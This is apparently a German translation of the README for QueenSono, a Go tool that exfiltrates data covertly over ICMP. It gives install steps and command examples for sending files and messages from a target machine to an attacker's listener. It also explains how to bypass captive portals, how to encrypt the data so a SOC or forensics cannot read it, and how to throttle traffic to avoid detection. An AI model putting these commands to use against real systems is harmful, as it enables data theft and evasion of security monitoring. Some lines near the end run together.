
Golang-Binärdatei zur Datenexfiltration mit ICMP-Protokoll (+ ICMP-Bindshell, HTTP über ICMP-Tunneling, ...)
QueenSono verlässt sich lediglich darauf, dass das ICMP-Protokoll nicht überwacht wird. Das ist recht üblich. Es könnte auch in einem System mit grundlegender ICMP-Inspektion (z.B. Überwachung von Frequenz und Inhaltlänge) verwendet werden oder um den Authentifizierungsschritt bei Captive Portals zu umgehen (die von vielen öffentlichen WLANs genutzt werden, um Benutzer nach der Verbindung zum WLAN zu authentifizieren, z.B. Flughafen-WLAN). Es versucht, PyExfil (und andere) nachzuahmen, mit dem Gedanken, dass auf dem Zielrechner nicht zwingend Python installiert sein muss (daher könnte die Bereitstellung einer Binärdatei nützlich sein).
Installieren
·
Nutzen
·
Notizen
·
Funktion anfragen
·
🎁
curl> Aus dem Release
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go> Über go install
Stellen Sie sicher, dass $GOPATH in Ihrem $PATH ist, bevor Sie fortfahren.
Installieren von qssender
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender # Binärdatei umbenennen
Installieren von qsreceiver
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver # Binärdatei umbenennen
> Binärdatei aus dem Quellcode installieren
Klonen Sie das Repository und laden Sie die Abhängigkeiten lokal herunter:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
Um den ICMP-Paket-Sender qssender zu bauen:
build.queensono-sender
Um den ICMP-Paket-Empfänger qsreceiver zu bauen:
build.queensono-receiver
qssender ist die Binärdatei, die ICMP-Pakete an den Listener sendet, also die Binärdatei, die Sie auf Ihr Zielsystem übertragen müssen.
qsreceiver ist der Listener auf Ihrem lokalen Rechner (oder überall dort, wo Sie ICMP-Pakete empfangen können).
Alle Befehle und Flags der Binärdateien finden Sie mit --help.
> In diesem Beispiel möchten wir eine große Datei senden und auf Echo-Antworten warten, um den Empfang der Pakete zu bestätigen (ACK).

Auf dem lokalen Rechner:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 hört auf allen Schnittstellen auf ICMP-Pakete
-f received_bible.txt speichert die empfangenen Daten in einer Datei
-p zeigt einen Fortschrittsbalken der empfangenen Daten anAuf dem Zielrechner:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt # große Datei herunterladen (für das Beispiel)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file zum Senden einer Datei (bible.txt ist die betreffende Datei)
-d 2 sendet alle 2 Sekunden ein Paket
-l 0.0.0.0 die Adresse, auf der auf Echo-Antworten gehört wird -r 10.0.0.92 die Adresse meines entfernten Rechners mit laufendem qsreceiver-s 50000 die Datenmenge, die ich in jedem Paket senden möchte> In diesem Beispiel möchten wir eine Nachricht senden, ohne auf eine Echo-Antwort zu warten (dies kann nützlich sein, falls die Firewall des Ziels eingehende ICMP-Pakete filtert).

Auf dem lokalen Rechner:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 wartet nicht unbegrenzt, falls wir nicht alle Pakete empfangen haben. (1 ist die Verzögerung, die bei qssender verwendet wird)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_allAuf dem Zielrechner:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N noreply-Option (nicht auf Echo-Antwort warten)
> In diesem Beispiel möchten wir eine verschlüsselte Nachricht senden. Da die Befehlszeile ausspioniert werden könnte, verwenden wir asymmetrische Verschlüsselung (falls der Schlüssel ausläuft, ist das kein Problem).

Auf dem lokalen Rechner:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<AUSGABE ÖFFENTLICHER SCHLÜSSEL>
--encrypt verwendet Schlüsselaustausch. Es wird ein öffentliches/privates Schlüsselpaar generiert. Der öffentliche Schlüssel wird von qssender zum Verschlüsseln der Daten verwendet, der private zum Entschlüsseln mit receiverAuf dem Zielrechner:
$ export MSG="<Ihre Nachricht>"
$ export KEY="<öffentlicher_Schlüssel_aus_der_qsreceiver-Ausgabe>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key gibt den Schlüssel für die Datenverschlüsselung an. Verwenden Sie den vom qsreceiver-Befehl bereitgestellten Schlüssel.
Es wird RSA-Verschlüsselung verwendet, um die ausgetauschten Daten vertraulich zu halten. Dies kann z. B. nützlich sein, um zu verhindern, dass ein SOC (oder die Forensik) bei einer einfachen Analyse sieht, welche Daten ausgetauscht werden, oder einfach aus Datenschutzgründen.
Dies hat jedoch seinen Preis. Die Wahl der asymmetrischen Verschlüsselung ist dadurch motiviert, dass der Verschlüsselungsschlüssel in der Befehlszeile eingegeben wird (also leicht ausgelesen werden kann). Daher verschlüsseln wir Daten mit dem öffentlichen Schlüssel. Falls jemand den Verschlüsselungsschlüssel erhält, kann er die Nachricht so nicht entschlüsseln. Der öffentliche Schlüssel ist jedoch kleiner als der private, sodass er kleinere Nachrichten verschlüsselt. Außerdem ist es rechnerisch aufwändig.
Ein weiterer Punkt: Da wir die Datenmenge / Ping-Anfragen begrenzen möchten (um Erkennung, Fehler usw. zu vermeiden), verwenden Sie die Verschlüsselung nur bei Bedarf, da die Ausgabegröße der Nachricht (sollte) immer der Größe des Modulus (Teil des Schlüssels) entspricht, was groß ist.
Derzeit wird die gesamte Nachricht verschlüsselt und dann in Stücke (Chunks) geteilt und gesendet. Auf der anderen Seite warten wir auf alle Pakete (Chunks), setzen die Nachricht wieder zusammen und entschlüsseln sie dann. Das funktioniert aber ⇔ wir haben ALLE Chunks erhalten, andernfalls schlägt die Entschlüsselung fehl.
=> Wir könnten jeden Chunk entsprechend dem Parameter -s verschlüsseln, sodass wir sie separat entschlüsseln könnten.
> In diesem Beispiel sendet der lokale Rechner Daten zurück an das Ziel über ICMP-Echo-Antworten. Nützlich, wenn ausgehende ICMP-Pakete vom Ziel gefiltert werden, das Ziel aber Echo-Antworten empfangen kann.
Auf dem lokalen Rechner:
$ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
reply-send wartet auf einen Auslöser von qssender und sendet dann Daten als ICMP-Echo-Antworten zurück.
-l 0.0.0.0 hört auf allen Schnittstellen auf das Auslöserpaket
-d 1 Verzögerung von 1 Sekunde zwischen den AntwortpaketenAuf dem Zielrechner:
$ qssender receive -l 0.0.0.0 -r 10.0.0.92
receive sendet einen Auslöser an qsreceiver und sammelt Daten aus eingehenden Echo-Antworten.
-l 0.0.0.0 die Adresse, auf der auf eingehende Echo-Antworten gehört wird
-r 10.0.0.92 die Adresse meines lokalen Rechners mit wartendem qsreceiver reply-sendQueenSono unterstützt ICMPv6 transparent. Geben Sie eine IPv6-Adresse an, und das Protokoll wird automatisch erkannt – keine zusätzlichen Flags erforderlich.
Auf dem lokalen Rechner:
$ qsreceiver receive -l ::
Auf dem Zielrechner:
$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
-l :: hört auf allen IPv6-Schnittstellen
-r fe80::1 IPv6-Adresse des entfernten Rechners – löst automatisch ICMPv6 aus
Alle Modi (Senden mit ACK, Senden ohne ACK, verschlüsselt, Echo-Antwort) funktionieren auf die gleiche Weise über IPv6.
Siehe hack-Abschnitt für unterhaltsame Dinge mit QueenSono:
cap_net_raw-Fähigkeiten